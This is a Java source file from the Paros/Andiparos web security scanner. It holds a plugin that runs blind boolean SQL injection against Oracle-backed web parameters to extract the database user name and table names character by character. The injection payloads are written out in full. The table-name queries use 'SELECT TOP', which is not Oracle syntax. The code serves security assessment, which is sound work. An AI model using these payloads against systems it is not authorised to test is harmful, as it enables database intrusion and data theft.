PageRenderTime 41ms CodeModel.GetById 13ms RepoModel.GetById 1ms app.codeStats 0ms

/src/org/parosproxy/paros/core/scanner/plugin/TestInjectionOracleSQLEnumeration.java

http://andiparos.googlecode.com/
Java | 305 lines | 212 code | 68 blank | 25 comment | 50 complexity | 2b77afaeda670ce4fc9093921c611529 MD5 | raw file
Possible License(s): GPL-2.0, LGPL-3.0
  1. /*
  2. *
  3. * Paros and its related class files.
  4. *
  5. * Paros is an HTTP/HTTPS proxy for assessing web application security.
  6. * Copyright (C) 2003-2004 Chinotec Technologies Company
  7. *
  8. * This program is free software; you can redistribute it and/or
  9. * modify it under the terms of the Clarified Artistic License
  10. * as published by the Free Software Foundation.
  11. *
  12. * This program is distributed in the hope that it will be useful,
  13. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  14. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  15. * Clarified Artistic License for more details.
  16. *
  17. * You should have received a copy of the Clarified Artistic License
  18. * along with this program; if not, write to the Free Software
  19. * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  20. */
  21. package org.parosproxy.paros.core.scanner.plugin;
  22. import java.io.IOException;
  23. import org.apache.commons.httpclient.HttpException;
  24. import org.parosproxy.paros.Constant;
  25. import org.parosproxy.paros.core.scanner.AbstractAppParamPlugin;
  26. import org.parosproxy.paros.core.scanner.Alert;
  27. import org.parosproxy.paros.core.scanner.Category;
  28. import org.parosproxy.paros.network.HttpMessage;
  29. import org.parosproxy.paros.network.HttpStatusCode;
  30. public class TestInjectionOracleSQLEnumeration extends AbstractAppParamPlugin {
  31. private static final String[] dependency = { "TestInjectionSQLFingerprint", "TestInjectionSQL" };
  32. private String mResBodyNormal = ""; // normal response for comparison
  33. public int getId() {
  34. return 50003;
  35. }
  36. public String getName() {
  37. return "Oracle SQL Injection Enumeration";
  38. }
  39. public String[] getDependency() {
  40. return dependency;
  41. }
  42. public String getDescription() {
  43. String msg = "The DB user name can be obtained.";
  44. return msg;
  45. }
  46. public int getCategory() {
  47. return Category.SQL_INJECTION;
  48. }
  49. public String getSolution() {
  50. String msg = "Refer SQL injection.";
  51. return msg;
  52. }
  53. public String getReference() {
  54. String msg = "Refer SQL injection.";
  55. return msg;
  56. }
  57. public void init() {
  58. }
  59. public void scan(HttpMessage baseMsg, String param, String value) {
  60. if (!getKb().getBoolean(baseMsg.getRequestHeader().getURI(), "sql/and")) {
  61. return;
  62. }
  63. if (getKb().getString("sql/oracle/username") != null && getKb().getString("sql/oracle/tablename") != null) {
  64. return;
  65. }
  66. try {
  67. scanSQL(baseMsg, param, value);
  68. } catch (Exception e) {
  69. }
  70. }
  71. public void scanSQL(HttpMessage baseMsg, String param, String value)
  72. throws HttpException, IOException {
  73. HttpMessage msg = getNewMsg();
  74. // always try normal query first
  75. sendAndReceive(msg);
  76. if (msg.getResponseHeader().getStatusCode() != HttpStatusCode.OK) {
  77. return;
  78. }
  79. mResBodyNormal = msg.getResponseBody().toString();
  80. if (getKb().getBoolean(msg.getRequestHeader().getURI(), "sql/and")) {
  81. if (getKb().getString("sql/oracle/username") == null) {
  82. checkDBUserName(msg, param, value);
  83. }
  84. if (getKb().getString("sql/oracle/tablename") == null) {
  85. checkDBTableName(msg, param, value);
  86. }
  87. }
  88. }
  89. private void checkDBUserName(HttpMessage msg, String param, String value)
  90. throws HttpException, IOException {
  91. int charValue = 0;
  92. StringBuffer sb = new StringBuffer();
  93. byte[] byteArray = new byte[1];
  94. for (int i = 0; i < 20; i++) {
  95. charValue = 0;
  96. charValue = getDBUserNameBisection(msg, param, value, i, 47, 123);
  97. if (charValue == 47 || charValue == 123) {
  98. break;
  99. }
  100. byteArray[0] = (byte) charValue;
  101. String s = new String(byteArray, "UTF8");
  102. sb.append(s);
  103. }
  104. String result = sb.toString();
  105. if (result.length() > 0) {
  106. getKb().add("sql/oracle/username", result);
  107. bingo(Alert.RISK_HIGH, Alert.SUSPICIOUS, null, "",
  108. "current db user name: " + result, msg);
  109. }
  110. }
  111. private int getDBUserNameBisection(HttpMessage msg, String param,
  112. String value, int charPos, int rangeLow, int rangeHigh)
  113. throws HttpException, IOException {
  114. if (rangeLow == rangeHigh) {
  115. return rangeLow;
  116. }
  117. int medium = (rangeLow + rangeHigh) / 2;
  118. boolean result = getDBUserNameQuery(msg, param, value, charPos, medium);
  119. if (rangeHigh - rangeLow < 2) {
  120. if (result) {
  121. return rangeHigh;
  122. } else {
  123. return rangeLow;
  124. }
  125. }
  126. if (result) {
  127. rangeLow = medium;
  128. } else {
  129. rangeHigh = medium;
  130. }
  131. int charResult = getDBUserNameBisection(msg, param, value, charPos,
  132. rangeLow, rangeHigh);
  133. return charResult;
  134. }
  135. private boolean getDBUserNameQuery(HttpMessage msg, String param,
  136. String value, int charPos, int charCode) throws HttpException,
  137. IOException {
  138. String s1 = "' AND ASCII(SUBSTR(USER," + (charPos + 1) + ",1))>"
  139. + charCode + " AND '1'='1";
  140. String resBodyAND = "";
  141. boolean is1 = false;
  142. setParameter(msg, param, value + s1);
  143. sendAndReceive(msg);
  144. if (msg.getResponseHeader().getStatusCode() == HttpStatusCode.OK) {
  145. // try if 1st SQL AND looks like normal query
  146. resBodyAND = stripOff(msg.getResponseBody().toString(),
  147. getURLEncode(s1));
  148. if (resBodyAND.compareTo(mResBodyNormal) == 0) {
  149. is1 = true;
  150. }
  151. }
  152. return is1;
  153. }
  154. private void checkDBTableName(HttpMessage msg, String param, String value)
  155. throws HttpException, IOException {
  156. int charValue = 0;
  157. StringBuffer sb = null;
  158. byte[] byteArray = new byte[1];
  159. for (int row = 1; row < 4; row++) {
  160. sb = new StringBuffer();
  161. for (int i = 0; i < 10; i++) {
  162. charValue = 0;
  163. charValue = getTableNameBisection(msg, param, value, i, 47,
  164. 123, row);
  165. if (charValue == 47 || charValue == 123) {
  166. break;
  167. }
  168. byteArray[0] = (byte) charValue;
  169. String s = new String(byteArray, "UTF8");
  170. sb.append(s);
  171. }
  172. String result = sb.toString();
  173. if (result.length() > 0) {
  174. getKb().add("sql/oracle/tablename", result);
  175. bingo(Alert.RISK_HIGH, Alert.SUSPICIOUS, null, "",
  176. "table name: " + result, msg);
  177. }
  178. }
  179. }
  180. private int getTableNameBisection(HttpMessage msg, String param,
  181. String value, int charPos, int rangeLow, int rangeHigh, int row)
  182. throws HttpException, IOException {
  183. if (rangeLow == rangeHigh) {
  184. return rangeLow;
  185. }
  186. int medium = (rangeLow + rangeHigh) / 2;
  187. boolean result = getTableNameQuery(msg, param, value, charPos, medium,
  188. row);
  189. if (rangeHigh - rangeLow < 2) {
  190. if (result) {
  191. return rangeHigh;
  192. } else {
  193. return rangeLow;
  194. }
  195. }
  196. if (result) {
  197. rangeLow = medium;
  198. } else {
  199. rangeHigh = medium;
  200. }
  201. int charResult = getTableNameBisection(msg, param, value, charPos,
  202. rangeLow, rangeHigh, row);
  203. return charResult;
  204. }
  205. private boolean getTableNameQuery(HttpMessage msg, String param,
  206. String value, int charPos, int charCode, int row)
  207. throws HttpException, IOException {
  208. // linear search - inefficient
  209. String s1 = null;
  210. if (row == 1) {
  211. s1 = "' AND ascii(substr((SELECT TOP 1 object_name FROM user_objects WHERE object_type='TABLE' ORDER BY object_name),"
  212. + (charPos + 1) + ", 1))>" + charCode + " AND '1'='1";
  213. } else {
  214. s1 = "' AND ascii(substr((SELECT TOP 1 a.object_name FROM user_objects as a WHERE a.object_type='TABLE' AND a.object_name NOT IN(SELECT TOP "
  215. + (row - 1)
  216. + " b.object_name FROM user_objects AS b WHERE b.object_type='TABLE' order by b.object_name)),"
  217. + (charPos + 1) + ", 1))>" + charCode + " AND '1'='1";
  218. }
  219. String resBodyAND = "";
  220. boolean is1 = false;
  221. // try 2nd blind SQL query using AND with quote
  222. setParameter(msg, param, value + s1);
  223. sendAndReceive(msg);
  224. if (msg.getResponseHeader().getStatusCode() == HttpStatusCode.OK) {
  225. // try if 1st SQL AND looks like normal query
  226. resBodyAND = stripOff(msg.getResponseBody().toString(),
  227. getURLEncode(s1));
  228. if (resBodyAND.compareTo(mResBodyNormal) == 0) {
  229. is1 = true;
  230. }
  231. }
  232. return is1;
  233. }
  234. public boolean isVisible() {
  235. return Constant.isSP();
  236. }
  237. }